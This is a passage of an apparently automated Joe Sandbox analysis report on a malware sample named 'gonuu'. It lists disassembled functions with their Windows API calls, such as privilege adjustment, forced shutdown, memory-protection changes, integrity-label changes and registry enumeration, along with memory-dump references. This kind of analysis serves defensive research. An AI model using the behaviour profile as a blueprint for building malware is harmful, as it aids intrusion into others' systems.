    • LocalSize.KERNEL32 ref: 0040FF22
    • MapAndLoad.IMAGEHLP(S638Y4,l3Z9EH,?,00000000,00000000), ref: 0040FFF7
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00409709, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
    APIs
    • RegisterClassExW.USER32 ref: 00409709
    • IsClipboardFormatAvailable.USER32 ref: 0040970F
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00409C18, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54
    APIs
    • SetEndOfFile.KERNEL32 ref: 00409C18
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 004080FF, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 52
    APIs
      • Part of subcall function 0041834E: MultiByteToWideChar.KERNEL32(0040815B,00000000,?,?,?,?), ref: 00418365
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
    • PathRenameExtensionW.SHLWAPI(?,.dat), ref: 0040817A
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00428964, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
    APIs
    • PathRemoveFileSpecW.SHLWAPI(00434398), ref: 004289A0
    • PathRenameExtensionW.SHLWAPI(?,.tmp), ref: 004289C0
      • Part of subcall function 0041DC58: PathSkipRootW.SHLWAPI(?), ref: 0041DC63
      • Part of subcall function 0041DC58: GetFileAttributesW.KERNEL32(?), ref: 0041DC8B
      • Part of subcall function 0041DC58: CreateDirectoryW.KERNEL32(?,00000000), ref: 0041DC99
      • Part of subcall function 0041BBC6: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;CIOI;NRNWNX;;;LW),00000001,?,00000000), ref: 0041BBE5
      • Part of subcall function 0041BBC6: GetSecurityDescriptorSacl.ADVAPI32(?,?,00000000,00000000), ref: 0041BC01
      • Part of subcall function 0041BBC6: SetNamedSecurityInfoW.ADVAPI32(?,00000001,00000010,00000000,00000000,00000000,00000000), ref: 0041BC18
      • Part of subcall function 0041BBC6: LocalFree.KERNEL32(?), ref: 0041BC27
    • GetFileAttributesW.KERNEL32(00434190), ref: 004289E3
      • Part of subcall function 004080FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 0040817A
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 004073FB, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
    APIs
    • GetModuleHandleW.KERNEL32(?), ref: 00407412
    • VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000040,00000000), ref: 00407451
    • VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000000,00000000), ref: 00407467
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00408C76, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 46
    APIs
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,?,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,?,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0042BBC0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
    APIs
    • GetCurrentThreadId.KERNEL32 ref: 0042BBCA
    • GetThreadDesktop.USER32 ref: 0042BBD1
    • GetUserObjectInformationW.USER32(?,00000002,?,00000064,00000000), ref: 0042BBEB
      • Part of subcall function 0042B7E3: TlsAlloc.KERNEL32(?,004345C0,00000000), ref: 0042B7FD
      • Part of subcall function 0042B7E3: RegisterWindowMessageW.USER32(?,00000011,?,00000000,?,004345C0,00000000), ref: 0042B824
      • Part of subcall function 0042B7E3: CreateEventW.KERNEL32(00432AFC,00000001,00000000,?), ref: 0042B84B
      • Part of subcall function 0042B7E3: CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 0042B86B
      • Part of subcall function 0042B7E3: CreateFileMappingW.KERNEL32(00000000,00432AFC,00000004,00000000,03D09128,?), ref: 0042B893
      • Part of subcall function 0042B7E3: MapViewOfFile.KERNEL32(?,00000002,00000000,00000000,00000000), ref: 0042B8A9
      • Part of subcall function 0042B7E3: GetDC.USER32(00000000), ref: 0042B8C6
      • Part of subcall function 0042B7E3: GetDeviceCaps.GDI32(?,00000008), ref: 0042B8E6
      • Part of subcall function 0042B7E3: GetDeviceCaps.GDI32(00000000,0000000A), ref: 0042B8F0
      • Part of subcall function 0042B7E3: CreateCompatibleBitmap.GDI32(00000000,?), ref: 0042B8FD
      • Part of subcall function 0042B7E3: ReleaseDC.USER32(00000000,00000000), ref: 0042B925
      • Part of subcall function 0042B7E3: CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 0042B9C9
      • Part of subcall function 0042B7E3: GetDC.USER32(00000000), ref: 0042B9DE
      • Part of subcall function 0042B7E3: CreateCompatibleDC.GDI32 ref: 0042B9EB
      • Part of subcall function 0042B7E3: CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 0042BA00
      • Part of subcall function 0042B7E3: SelectObject.GDI32(?), ref: 0042BA17
      • Part of subcall function 0042B7E3: ReleaseDC.USER32(00000000), ref: 0042BA2D
      • Part of subcall function 0042BA3D: DeleteObject.GDI32(00000000), ref: 0042BA4D
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32(00000000), ref: 0042BA5D
      • Part of subcall function 0042BA3D: TlsFree.KERNEL32 ref: 0042BA68
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32(00000000), ref: 0042BA76
      • Part of subcall function 0042BA3D: UnmapViewOfFile.KERNEL32(00000000), ref: 0042BA80
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32 ref: 0042BA8D
      • Part of subcall function 0042BA3D: SelectObject.GDI32(00000000,00000000), ref: 0042BAA7
      • Part of subcall function 0042BA3D: DeleteObject.GDI32(00000000), ref: 0042BAB8
      • Part of subcall function 0042BA3D: DeleteDC.GDI32(00000000), ref: 0042BAC5
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32(00000000), ref: 0042BAD6
      • Part of subcall function 0042BA3D: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0042BAE5
      • Part of subcall function 0042BA3D: PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,0042BC3C,00000000,004345C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 0042BAFE
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041DA51, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45
    APIs
    • GetTempPathW.KERNEL32(000000F6,?), ref: 0041DA68
      • Part of subcall function 0041977E: GetTickCount.KERNEL32 ref: 0041977E
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
    • CreateDirectoryW.KERNEL32(?,00000000), ref: 0041DABA
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041DC58, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
    APIs
    • PathSkipRootW.SHLWAPI(?), ref: 0041DC63
    • GetFileAttributesW.KERNEL32(?), ref: 0041DC8B
    • CreateDirectoryW.KERNEL32(?,00000000), ref: 0041DC99
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 004175C9, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45
    APIs
    • InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000001,?,80000000), ref: 0041762E
      • Part of subcall function 0042A8DC: PathRemoveFileSpecW.SHLWAPI(?), ref: 0042A902
      • Part of subcall function 0042A8DC: PathRemoveFileSpecW.SHLWAPI(?), ref: 0042A915
      • Part of subcall function 0042A8DC: SHDeleteKeyW.SHLWAPI(80000001,?), ref: 0042A953
      • Part of subcall function 0042A8DC: CharToOemW.USER32(?,?), ref: 0042A96F
      • Part of subcall function 0042A8DC: CharToOemW.USER32(?,?), ref: 0042A97E
      • Part of subcall function 0042A8DC: ExitProcess.KERNEL32(00000000), ref: 0042A9D6
      • Part of subcall function 00420533: CreateMutexW.KERNEL32(00432AFC,00000000,00433F88), ref: 00420556
    • ExitWindowsEx.USER32(00000014,80000000), ref: 00417641
      • Part of subcall function 00419B6C: GetCurrentThread.KERNEL32 ref: 00419B7C
      • Part of subcall function 00419B6C: OpenThreadToken.ADVAPI32 ref: 00419B83
      • Part of subcall function 00419B6C: OpenProcessToken.ADVAPI32(000000FF,00000020,00429F61), ref: 00419B95
      • Part of subcall function 00419B6C: LookupPrivilegeValueW.ADVAPI32(00000000,00429F61,?), ref: 00419BB9
      • Part of subcall function 00419B6C: AdjustTokenPrivileges.ADVAPI32(00429F61,00000000,00000001,00000000,00000000,00000000), ref: 00419BCE
      • Part of subcall function 00419B6C: GetLastError.KERNEL32 ref: 00419BD8
      • Part of subcall function 00419B6C: CloseHandle.KERNEL32(00429F61), ref: 00419BE7
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040FBA7, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29
    APIs
    • LocalReAlloc.KERNEL32 ref: 0040FBA7
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040A1C1, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29
    APIs
    • FindTextW.COMDLG32 ref: 0040A1C1
    • GetCurrentProcessId.KERNEL32 ref: 0040A1C7
    • GetMenu.USER32 ref: 0040A1CD
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040ADD0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27
    APIs
    • MessageBeep.USER32 ref: 0040ADD0
    • GetWindowLongW.USER32 ref: 0040ADD6
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00408527, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 17
    APIs
    • GlobalUnlock.KERNEL32 ref: 00408527
    • LoadAcceleratorsW.USER32 ref: 0040852D
    • GetMessageW.USER32 ref: 00408533
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004086A5
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,?,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,?,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040AE12, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15
    APIs
    • SetLastError.KERNEL32 ref: 0040AE12
    • CharNextW.USER32 ref: 0040AE18
    • WideCharToMultiByte.KERNEL32 ref: 0040AE1E
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0042131B, Relevance: 6.3, APIs: 4, Instructions: 299
    APIs
    • RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,000000FF), ref: 004214ED
    • RegQueryValueExW.ADVAPI32(000000FF,?,00000000,00000000,?,?), ref: 0042150D
    • RegCloseKey.ADVAPI32(000000FF), ref: 00421520
    • GetLocalTime.KERNEL32(?), ref: 0042152F
      • Part of subcall function 004180EB: HeapAlloc.KERNEL32(00000008,?,0041847D,?,00407A97,?,00418FC7,?,?,00407A97,?,?,00418F77,?,?,?), ref: 0041810D
      • Part of subcall function 004180EB: HeapReAlloc.KERNEL32(00000008,?,?,0041847D,?,00407A97,?,00418FC7,?,?,00407A97,?,?,00418F77,?,?), ref: 0041811E
      • Part of subcall function 00419656: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 0041966F
      • Part of subcall function 00419656: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00419687
      • Part of subcall function 00419656: CryptHashData.ADVAPI32(?,00000010,?,00000000), ref: 004196A3
      • Part of subcall function 00419656: CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 004196BB
      • Part of subcall function 00419656: CryptDestroyHash.ADVAPI32(?), ref: 004196D2
      • Part of subcall function 00419656: CryptReleaseContext.ADVAPI32(?,00000000), ref: 004196DC
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00412D83, Relevance: 6.2, APIs: 4, Instructions: 231
    APIs
    • LoadAcceleratorsW.USER32 ref: 00412D83
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00412E73
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004130A6
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0041312A
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00412E20, Relevance: 6.2, APIs: 4, Instructions: 218
    APIs
    • SendDlgItemMessageW.USER32 ref: 00412E20
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00412E73
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004130A6
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0041312A
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0042487D, Relevance: 6.2, APIs: 4, Instructions: 194
    APIs
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?), ref: 0042493D
      • Part of subcall function 0041C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 0041C6C6
      • Part of subcall function 0041C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 0041C748
    • RegOpenKeyExW.ADVAPI32(?,?,00000000,00000001,?), ref: 004249F6
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
      • Part of subcall function 0041C7BB: RegQueryValueExW.ADVAPI32(?,?,00000000,?,0042C5CF,?), ref: 0041C7D3
      • Part of subcall function 0041C7BB: RegCloseKey.ADVAPI32(?), ref: 0041C7E1
    • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00424A8C
    • RegCloseKey.ADVAPI32(?), ref: 00424A9D
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041604B, Relevance: 6.2, APIs: 4, Instructions: 182
    APIs
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004161A5
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004162D4
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00416340
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0041644A
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00407F64, Relevance: 6.2, APIs: 4, Instructions: 162
    APIs
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00407F76
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00408286
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00408304
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00408487
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004086A5
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,?,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,?,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
